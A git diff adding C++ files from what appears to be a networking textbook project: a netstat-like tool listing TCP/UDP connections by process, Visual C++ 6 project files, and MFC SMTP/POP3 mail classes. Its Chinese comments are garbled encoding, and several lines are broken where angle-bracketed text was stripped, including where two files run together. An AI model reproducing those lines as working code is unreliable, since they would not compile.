MIB_TCP_STATE_CLOSE_WAIT: + strcpy(strState, "CLOSE_WAIT"); + break; + case MIB_TCP_STATE_FIN_WAIT1: + strcpy(strState, "FIN_WAIT1"); + break; + case MIB_TCP_STATE_ESTAB: + strcpy(strState, "ESTAB"); + break; + case MIB_TCP_STATE_SYN_RCVD: + strcpy(strState, "SYN_RCVD"); + break; + case MIB_TCP_STATE_SYN_SENT: + strcpy(strState, "SYN_SENT"); + break; + case MIB_TCP_STATE_LISTEN: + strcpy(strState, "LISTEN"); + break; + case MIB_TCP_STATE_DELETE_TCB: + strcpy(strState, "DELETE"); + break; + default: + printf("Error: unknown state!\n"); + break; + } + // ±¾µØIPµØÖ· + inadLocal.s_addr = pTcpExTable->table[i].dwLocalAddr; + + // Ô¶³Ì¶Ë¿Ú + if(strcmp(strState, "LISTEN") != 0) + { + dwRemotePort = pTcpExTable->table[i].dwRemotePort; + } + else + dwRemotePort = 0; + + // Ô¶³ÌIPµØÖ· + inadRemote.s_addr = pTcpExTable->table[i].dwRemoteAddr; + + + sprintf(szLocalAddr, "%s:%u", inet_ntoa(inadLocal), + ntohs((unsigned short)(0x0000FFFF & pTcpExTable->table[i].dwLocalPort))); + sprintf(szRemoteAddr, "%s:%u", inet_ntoa(inadRemote), + ntohs((unsigned short)(0x0000FFFF & dwRemotePort))); + + // ´òÓ¡³ö´ËÈë¿ÚµÄÐÅÏ¢ + printf("%-5s %s:%d\n State: %s\n", "[TCP]", + ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, szProcessName), + pTcpExTable->table[i].dwProcessId, + strState); + + printf(" Local: %s\n Remote: %s\n", + szLocalAddr, szRemoteAddr); + } + + // ´òÓ¡UDP¼àÌý±íÐÅÏ¢ + for(i = 0; i < pUdpExTable->dwNumEntries; ++i) + { + // ±¾µØIPµØÖ· + inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr; + + sprintf(szLocalAddr, "%s:%u", inet_ntoa(inadLocal), + ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort))); + + // ´òÓ¡³ö´ËÈë¿ÚµÄÐÅÏ¢ + printf("%-5s %s:%d\n", "[UDP]", + ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName), + pUdpExTable->table[i].dwProcessId ); + printf(" Local: %s\n Remote: %s\n", + szLocalAddr, "*.*.*.*:*" ); + } + + + ::CloseHandle(hProcessSnap); + ::LocalFree(pTcpExTable); + ::LocalFree(pUdpExTable); + ::FreeLibrary(hModule); + return 0; +} + + +// ½«½ø³ÌIDºÅ£¨PID£©×ª»¯Îª½ø³ÌÃû³Æ +PCHAR ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, PCHAR ProcessName) +{ + PROCESSENTRY32 processEntry; + processEntry.dwSize = sizeof(processEntry); + // ÕÒ²»µ½µÄ»°£¬Ä¬ÈϽø³ÌÃûΪ¡°???¡± + strcpy(ProcessName, "???"); + if(!::Process32First(hProcessSnap, &processEntry)) + return ProcessName; + do + { + if(processEntry.th32ProcessID == ProcessId) // ¾ÍÊÇÕâ¸ö½ø³Ì + { + strcpy(ProcessName, processEntry.szExeFile); + break; + } + } + while(::Process32Next(hProcessSnap, &processEntry)); + return ProcessName; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.dsp" new file mode 100644 index 0000000..b749256 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="netstate" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=netstate - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "netstate.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "netstate.mak" CFG="netstate - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "netstate - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "netstate - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "netstate - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "netstate - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "netstate - Win32 Release" +# Name "netstate - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\netstate.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.dsw" new file mode 100644 index 0000000..e1bcb9d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "netstate"=".\netstate.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/MailMessage.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/MailMessage.cpp" new file mode 100644 index 0000000..6aed25b --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/MailMessage.cpp" @@ -0,0 +1,263 @@ +// MailMessage.cpp: implementation of the CMailMessage class. +// Copyright (c) 1998, Wes Clyburn +// +// Modified to have Header and Body handling in this class rather than in any +// class that uses instances of CMailMessage. +// Copyright (c) 1998 Michael Krebs +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "MailMessage.h" + +#ifdef _DEBUG +#undef THIS_FILE +static char THIS_FILE[]=__FILE__; +#define new DEBUG_NEW +#endif + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CMailMessage::CMailMessage() +{ +m_sBody=_T(""); +m_sHeader=_T(""); +} + +CMailMessage::~CMailMessage() +{ + +} + +BOOL CMailMessage::AddRecipient( LPCTSTR szEmailAddress, LPCTSTR szFriendlyName) +{ + ASSERT( szEmailAddress != NULL ); + ASSERT( szFriendlyName != NULL ); + CRecipient to; + to.m_sEmailAddress = szEmailAddress; + to.m_sFriendlyName = szFriendlyName; + m_Recipients.Add( to ); + return TRUE; +} + +// sEmailAddress and sFriendlyName are OUTPUT parameters. +// If the function fails, it will return FALSE, and the OUTPUT +// parameters will not be touched. +BOOL CMailMessage::GetRecipient(CString & sEmailAddress, CString & sFriendlyName, int nIndex) +{ + CRecipient to; + if( nIndex < 0 || nIndex > m_Recipients.GetUpperBound() ) + return FALSE; + to = m_Recipients[ nIndex ]; + sEmailAddress = to.m_sEmailAddress; + sFriendlyName = to.m_sFriendlyName; + return TRUE; +} + +int CMailMessage::GetNumRecipients() +{ + return m_Recipients.GetSize(); +} + +BOOL CMailMessage::AddMultipleRecipients(LPCTSTR szRecipients ) +{ + TCHAR* buf; + UINT pos; + UINT start; + CString sTemp; + CString sEmail; + CString sFriendly; + UINT length; + int nMark; + int nMark2; + + ASSERT( szRecipients != NULL ); + + // Add Recipients + // + length = strlen( szRecipients ); + buf = new TCHAR[ length + 1 ]; // Allocate a work area (don't touch parameter itself) + strcpy( buf, szRecipients ); + for( pos = 0, start = 0; pos <= length; pos++ ) + { + if( buf[ pos ] == ';' || + buf[ pos ] == 0 ) + { + // First, pick apart the sub-strings (separated by ';') + // Store it in sTemp. + // + buf[ pos ] = 0; // Redundant when at the end of string, but who cares. + sTemp = &buf[ start ]; + + // Now divide the substring into friendly names and e-mail addresses. + // + nMark = sTemp.Find( '<' ); + if( nMark >= 0 ) + { + sFriendly = sTemp.Left( nMark ); + nMark2 = sTemp.Find( '>' ); + if( nMark2 < nMark ) + { + delete[] buf; + return FALSE; + } + // End of mark at closing bracket or end of string + nMark2 > -1 ? nMark2 = nMark2 : nMark2 = sTemp.GetLength() - 1; + sEmail = sTemp.Mid( nMark + 1, nMark2 - (nMark + 1) ); + } + else + { + sEmail = sTemp; + sFriendly = ""; + } + AddRecipient( sEmail, sFriendly ); + start = pos + 1; + } + } + delete[] buf; + return TRUE; +} + + +BOOL CMailMessage::EncodeHeader() +{ + CString sTo; + CString sDate; + + if( GetNumRecipients() <= 0 ) + return FALSE; + + m_sHeader = ""; // Clear it + + // Get the recipients into a single string + sTo = ""; + CString sEmail = ""; + CString sFriendly = ""; + for( int i = 0; i < GetNumRecipients(); i++ ) + { + GetRecipient( sEmail, sFriendly, i ); + sTo += ( i > 0 ? "," : "" ); + sTo += sFriendly; + sTo += "<"; + sTo += sEmail; + sTo += ">"; + } + m_tDateTime = m_tDateTime.GetCurrentTime(); + // Format: Mon, 01 Jun 98 01:10:30 GMT + sDate = m_tDateTime.Format( "%a, %d %b %y %H:%M:%S %Z" ); + m_sHeader.Format( "Date: %s\r\n"\ + "From: %s\r\n"\ + "To: %s\r\n"\ + "Subject: %s\r\n", + // Include other extension lines if desired + (LPCTSTR)sDate, + (LPCTSTR)m_sFrom, + (LPCTSTR)sTo, + (LPCTSTR)m_sSubject); + return TRUE; +} + + +BOOL CMailMessage::DecodeHeader() +{ + int startpos, endpos; + CString sSearchFor; + + //We can assume that there's a CR/LF before each of the tags, as the servers insert + //Received: lines on top of the mail while transporting the mail + sSearchFor="\r\nFrom: "; + startpos=m_sHeader.Find(sSearchFor); + if (startpos<0) return FALSE; + endpos=m_sHeader.Mid(startpos+sSearchFor.GetLength()).Find("\r\n"); + m_sFrom=m_sHeader.Mid(startpos+sSearchFor.GetLength(),endpos); + + sSearchFor="\r\nTo: "; + startpos=m_sHeader.Find(sSearchFor); + if (startpos<0) return FALSE; + endpos=m_sHeader.Mid(startpos+sSearchFor.GetLength()).Find("\r\n"); + AddMultipleRecipients(m_sHeader.Mid(startpos+sSearchFor.GetLength(),endpos)); + + sSearchFor="\r\nDate: "; + startpos=m_sHeader.Find(sSearchFor); + if (startpos<0) return FALSE; + endpos = m_sHeader.Mid(startpos+sSearchFor.GetLength()).Find("\r\n"); + //DATE=m_sHeader.Mid(startpos+sSearchFor.GetLength(),endpos)); + //This is incorrect ! We have to parse the Date: line !!! + //Anyone likes to write a parser for the different formats a date string may have ? + m_tDateTime = m_tDateTime.GetCurrentTime(); + + sSearchFor="\r\nSubject: "; + startpos=m_sHeader.Find(sSearchFor); + if (startpos<0) return FALSE; + endpos=m_sHeader.Mid(startpos+sSearchFor.GetLength()).Find("\r\n"); + m_sSubject=m_sHeader.Mid(startpos+sSearchFor.GetLength(),endpos); + + + //ATTENTION: Cc parsing won't work, if Cc is split up in multiple lines + // Cc: recipient1 , + // recipient2 , + // recipient3 + // won't work !!! + sSearchFor="\r\nCc: "; + startpos=m_sHeader.Find(sSearchFor); + if (startpos>=0) //no error if there's no Cc + { + endpos=m_sHeader.Mid(startpos+sSearchFor.GetLength()).Find("\r\n"); + AddMultipleRecipients(m_sHeader.Mid(startpos+sSearchFor.GetLength(),endpos)); + } + + return TRUE; +} + + +void CMailMessage::EncodeBody() +{ + CString sCooked = ""; + LPTSTR szBad = "\r\n.\r\n"; + LPTSTR szGood = "\r\n..\r\n"; + int nPos; + int nBadLength = strlen( szBad ); + if( m_sBody.Left( 3 ) == ".\r\n" ) + m_sBody = "." + m_sBody; + // + // This is a little inefficient because it beings a search + // at the beginning of the string each time. This was + // the only thing I could think of that handled ALL variations. + // In particular, the sequence "\r\n.\r\n.\r\n" is troublesome. + // (Even CStringEx's FindReplace wouldn't handle that situation + // with the global flag set.) + // + while( (nPos = m_sBody.Find( szBad )) > -1 ) + { + sCooked = m_sBody.Mid( 0, nPos ); + sCooked += szGood; + m_sBody = sCooked + m_sBody.Right( m_sBody.GetLength() - (nPos + nBadLength) ); + } +} + + +void CMailMessage::DecodeBody() +{ + CString sCooked = ""; + LPTSTR szBad = "\r\n..\r\n"; + LPTSTR szGood = "\r\n.\r\n"; + int nPos; + int nBadLength = strlen( szBad ); + if( m_sBody.Left( 4 ) == "..\r\n" ) + m_sBody = m_sBody.Mid(1); + // + // This is a little inefficient because it beings a search + // at the beginning of the string each time. This was + // the only thing I could think of that handled ALL variations. + // In particular, the sequence "\r\n.\r\n.\r\n" is troublesome. + // (Even CStringEx's FindReplace wouldn't handle that situation + // with the global flag set.) + // + while( (nPos = m_sBody.Find( szBad )) > -1 ) + { + sCooked = m_sBody.Mid( 0, nPos ); + sCooked += szGood; + m_sBody = sCooked + m_sBody.Right( m_sBody.GetLength() - (nPos + nBadLength) ); + } +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/MailMessage.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/MailMessage.h" new file mode 100644 index 0000000..2d751ad --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/MailMessage.h" @@ -0,0 +1,51 @@ +// MailMessage.h: interface for the CMailMessage class. +// Copyright (c) 1998, Wes Clyburn +// +// Modified to have Header and Body handling in this class rather than in any +// class that uses instances of CMailMessage. +// Copyright (c) 1998 Michael Krebs +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_MAILMESSAGE_H__55DE48CC_BEA4_11D1_870E_444553540000__INCLUDED_) +#define AFX_MAILMESSAGE_H__55DE48CC_BEA4_11D1_870E_444553540000__INCLUDED_ + +#if _MSC_VER >= 1000 +#pragma once +#endif // _MSC_VER >= 1000 + +#include + +class CMailMessage +{ +public: + CMailMessage(); + virtual ~CMailMessage(); + + int GetNumRecipients(); + BOOL GetRecipient( CString& sEmailAddress, CString& sFriendlyName, int nIndex = 0 ); + BOOL AddRecipient( LPCTSTR szEmailAddress, LPCTSTR szFriendlyName = "" ); + BOOL AddMultipleRecipients( LPCTSTR szRecipients = NULL ); + + BOOL EncodeHeader();// Create the SMTP message header as per RFC822 + BOOL DecodeHeader();// Read fields from Header - NOT COMPLETED + + void EncodeBody(); // Exchange .CR/LF by ..CR/LF + void DecodeBody(); // There's no Base64/Mime/UU en- or decoding done here ! + + CString m_sFrom; + CString m_sSubject; + CString m_sHeader; + CTime m_tDateTime; + CString m_sBody; + +private: + class CRecipient + { + public: + CString m_sEmailAddress; + CString m_sFriendlyName; + }; + CArray m_Recipients; +}; + +#endif // !defined(AFX_MAILMESSAGE_H__55DE48CC_BEA4_11D1_870E_444553540000__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/POP3.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/POP3.cpp" new file mode 100644 index 0000000..c4ee25f --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/POP3.cpp" @@ -0,0 +1,241 @@ +// POP3.cpp: Implementation of CPOP3. +// Copyright (C) 1998 Michael Krebs +// In Adaption of Wes Clyburn's CSMTP class +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "POP3.h" + +#ifdef _DEBUG +#undef THIS_FILE +static char THIS_FILE[]=__FILE__; +#define new DEBUG_NEW +#endif + +TCHAR* CPOP3::error_table[] = +{ + "Server didn't connect", + "Bad user name", // IDENTIFICATION + "Invalid username/password combination", // AUTHENTIFICATION + "STATus couldn't be retrieved", // STATUS + "RETRieve failed", // RETRIEVE + "Could not DELEte message", // DELE + "Error while QUITting" // QUIT +}; +////////////////////////////////////////////////////////////////////// +// Konstruktion/Destruktion +////////////////////////////////////////////////////////////////////// + +CPOP3::CPOP3( LPCTSTR szPOP3ServerName, UINT nPort, LPCTSTR sUsername, LPCTSTR sPassword) +{ + ASSERT( szPOP3ServerName != NULL ); + AfxSocketInit(); + m_sPOP3ServerHostName = szPOP3ServerName; + m_nPort = nPort; + m_sUsername = sUsername; + m_sPassword = sPassword; + m_bConnected = FALSE; + m_sError = _T( "OK" ); + +} + +CPOP3::~CPOP3() +{ + if( m_bConnected ) + Disconnect(); +} + + +BOOL CPOP3::Connect() +{ + CString sUser; + CString sPass; + + if( m_bConnected ) + return TRUE; + + if( !m_wsPOP3Server.Create() ) + { + m_sError = _T( "Unable to create the socket." ); + return FALSE; + } + if( !m_wsPOP3Server.Connect( GetServerHostName(), GetPort() ) ) + { + m_sError = _T( "Unable to connect to server" ); + m_wsPOP3Server.Close(); + return FALSE; + } + if( !get_response( CONNECTION ) ) + { + m_wsPOP3Server.Close(); + return FALSE; + } + sUser.Format( "USER %s\r\n", GetUsername()); + m_wsPOP3Server.Send( (LPCTSTR)sUser, sUser.GetLength() ); + if( !get_response( IDENTIFICATION ) ) + { + m_wsPOP3Server.Close(); + return FALSE; + } + sPass.Format( "PASS %s\r\n", GetPassword()); + m_wsPOP3Server.Send( (LPCTSTR)sPass, sPass.GetLength() ); + if( !get_response( AUTHENTIFICATION ) ) + { + m_wsPOP3Server.Close(); + return FALSE; + } + + m_bConnected = TRUE; + return TRUE; +} + + +BOOL CPOP3::get_response( UINT executed_action ) +{ + int nChars = m_wsPOP3Server.Receive( response_buf, RESPONSE_BUFFER_SIZE ); + if( nChars == SOCKET_ERROR ) + { + m_sError = _T( "Socket Error" ); + return FALSE; + } + + m_sResponse = response_buf; + m_sResponse = m_sResponse.Left(nChars); + + if (m_sResponse.Left(4)=="-ERR") + { + m_sError=error_table[executed_action]; + return FALSE; + } + return TRUE; +} + + +UINT CPOP3::GetPort() +{ + return m_nPort; +} + + +CString CPOP3::GetUsername() +{ + return m_sUsername; +} + + +CString CPOP3::GetPassword() +{ + return m_sPassword; +} + + +CString CPOP3::GetLastError() +{ + return m_sError; +} + + +CString CPOP3::GetServerHostName() +{ + return m_sPOP3ServerHostName; +} + + +void CPOP3::SetServerProperties( LPCTSTR sServerHostName, UINT nPort) +{ + ASSERT( sServerHostName != NULL ); + // Needs to be safe in non-debug too + if( sServerHostName == NULL ) + return; + m_sPOP3ServerHostName = sServerHostName; + m_nPort = nPort; +} + + +void CPOP3::SetUserProperties( LPCTSTR sUsername, LPCTSTR sPassword ) +{ + ASSERT( sUsername != NULL ); + ASSERT( sPassword != NULL ); + + if( sUsername == NULL ) + return; + if( sPassword == NULL ) + return; + + m_sUsername = sUsername; + m_sPassword = sPassword; +} + + +BOOL CPOP3::Disconnect() +{ + BOOL ret; + if( !m_bConnected ) + return TRUE; + // Disconnect gracefully from the server and close the socket + CString sQuit = _T( "QUIT\r\n" ); + m_wsPOP3Server.Send( (LPCTSTR)sQuit, sQuit.GetLength() ); + + // No need to check return value here. + // If it fails, the message is available with GetLastError + ret = get_response( QUIT ); + m_wsPOP3Server.Close(); + + m_bConnected = FALSE; + return ret; +} + + +int CPOP3::GetNumMessages() +{ + CString sStat = _T( "STAT\r\n" ); + m_wsPOP3Server.Send( (LPCTSTR)sStat, sStat.GetLength() ); + + if( !get_response( STATUS ) ) return -1; + + int pos=m_sResponse.FindOneOf("0123456789"); + if (pos<0) return -1; + return atoi(m_sResponse.Mid(pos)); + +} + + +BOOL CPOP3::GetMessage( UINT nMsg, CMailMessage* msg) +{ + CString sMsg; + CString sRetr; + sRetr.Format("RETR %d\r\n",nMsg); + m_wsPOP3Server.Send( (LPCTSTR)sRetr, sRetr.GetLength() ); + + if( !get_response( RETRIEVE ) ) return FALSE; + + sMsg=m_sResponse; + while ( sMsg.Find("\r\n.\r\n")<0 ) + { + // nChars = number of bytes read + int nChars = m_wsPOP3Server.Receive( response_buf, RESPONSE_BUFFER_SIZE ); + if ( nChars == SOCKET_ERROR ) return FALSE; + m_sResponse=response_buf; + sMsg+=m_sResponse.Left( nChars ); //only the first nChars bytes of response_buf are valid ! + } + + sMsg=sMsg.Mid(sMsg.Find("\r\n")+2); //first line of output is +OK + sMsg=sMsg.Left(sMsg.GetLength()-3); //last line is always .\r\n + + int br=sMsg.Find("\r\n\r\n"); //breakpoint between header and body + msg->m_sHeader=sMsg.Left(br); + msg->m_sBody=sMsg.Mid(br+4); + msg->DecodeHeader(); + msg->DecodeBody(); + return TRUE; +} + +BOOL CPOP3::DeleteMessage( UINT nMsg ) +{ + CString sDele = _T( "STAT\r\n" ); + sDele.Format("DELE %d\r\n",nMsg); + m_wsPOP3Server.Send( (LPCTSTR)sDele, sDele.GetLength() ); + + return get_response( DELE ); +} + diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/POP3.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/POP3.h" new file mode 100644 index 0000000..fcc4f84 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/POP3.h" @@ -0,0 +1,68 @@ +// POP3.h: Interface for CPOP3. +// In adaption of Wes Clyburn's CSMTP class. +// Copyright (C) 1998 Michael Krebs +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_POP3_H__CFFD2FBB_859A_11D2_A529_444553540000__INCLUDED_) +#define AFX_POP3_H__CFFD2FBB_859A_11D2_A529_444553540000__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include +#include "MailMessage.h" + +#define POP3_PORT 110 // Standard port for POP3 servers +#define RESPONSE_BUFFER_SIZE 1024 + +class CPOP3 +{ +public: + CPOP3( LPCTSTR szPOP3ServerName, UINT nPort = POP3_PORT, LPCTSTR sUsername = NULL, LPCTSTR sPassword = NULL ); + virtual ~CPOP3(); + + void SetServerProperties( LPCTSTR sServerHostName, UINT nPort = POP3_PORT ); + void SetUserProperties( LPCTSTR sUsername, LPCTSTR sPassword ); + CString GetLastError(); + UINT GetPort(); + CString GetServerHostName(); + CString GetUsername(); + CString GetPassword(); + BOOL Disconnect(); + BOOL Connect(); + int GetNumMessages(); + BOOL GetMessage( UINT nMsg, CMailMessage* msg); + BOOL DeleteMessage( UINT nMsg ); + +private: + BOOL get_response( UINT executed_action ); + + CString m_sError; + CString m_sResponse; + BOOL m_bConnected; + UINT m_nPort; + CString m_sPOP3ServerHostName; + CString m_sUsername; + CString m_sPassword; + CSocket m_wsPOP3Server; + +protected: + enum eResponse + { + CONNECTION = 0, + IDENTIFICATION, + AUTHENTIFICATION, + STATUS, + RETRIEVE, + DELE, + QUIT, + // Include any others here + LAST_RESPONSE // Do not add entries past this one + }; + TCHAR response_buf[ RESPONSE_BUFFER_SIZE ]; + static TCHAR* error_table[]; + +}; + +#endif // !defined(AFX_POP3_H__CFFD2FBB_859A_11D2_A529_444553540000__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/Pop3Dlg.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/Pop3Dlg.cpp" new file mode 100644 index 0000000..54dec27 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/Pop3Dlg.cpp" @@ -0,0 +1,108 @@ +// Pop3Dlg.cpp : implementation file +// + +#include "stdafx.h" +#include "SmtpPop.h" +#include "Pop3Dlg.h" +#include "POP3.h" +#include "MailMessage.h" +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CPop3Dlg dialog + + +CPop3Dlg::CPop3Dlg(CWnd* pParent /*=NULL*/) + : CDialog(CPop3Dlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CPop3Dlg) + m_POP3 = _T(""); + m_password = _T(""); + m_subject = _T(""); + m_body = _T(""); + m_username = _T(""); + m_num = 0; + m_soursemail = _T(""); + m_desmail = _T(""); + //}}AFX_DATA_INIT +} + + +void CPop3Dlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CPop3Dlg) + DDX_Text(pDX, IDC_EDIT1, m_POP3); + DDX_Text(pDX, IDC_EDIT3, m_password); + DDX_Text(pDX, IDC_EDIT4, m_subject); + DDX_Text(pDX, IDC_EDIT5, m_body); + DDX_Text(pDX, IDC_EDIT2, m_username); + DDX_Text(pDX, IDC_EDIT6, m_num); + DDX_Text(pDX, IDC_EDIT7, m_soursemail); + DDX_Text(pDX, IDC_EDIT8, m_desmail); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CPop3Dlg, CDialog) + //{{AFX_MSG_MAP(CPop3Dlg) + ON_BN_CLICKED(IDC_CANCAL, OnCancal) + ON_BN_CLICKED(IDC_REC, OnReceive) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CPop3Dlg message handlers + +void CPop3Dlg::OnCancal() +{ + // TODO: Add your control notification handler code here + +} + +void CPop3Dlg::OnReceive() +{ + // TODO: Add your control notification handler code here + UpdateData( TRUE ); + CPOP3 pop3( m_POP3 ); + pop3.SetUserProperties(m_username,m_password); + if (!pop3.Connect()) + { + AfxMessageBox( pop3.GetLastError() ); + return; + } + CMailMessage msg; + if (!pop3.GetMessage(m_num,&msg)) + { + AfxMessageBox( pop3.GetLastError() ); + return; + } + + m_body=msg.m_sBody; + m_subject=msg.m_sSubject; + m_soursemail=msg.m_sFrom; + m_desmail=""; + for (int a=0; a 1000 +#pragma once +#endif // _MSC_VER > 1000 +// Pop3Dlg.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CPop3Dlg dialog + +class CPop3Dlg : public CDialog +{ +// Construction +public: + CPop3Dlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CPop3Dlg) + enum { IDD = IDD_POP_DLG }; + CString m_POP3; + CString m_password; + CString m_subject; + CString m_body; + CString m_username; + UINT m_num; + 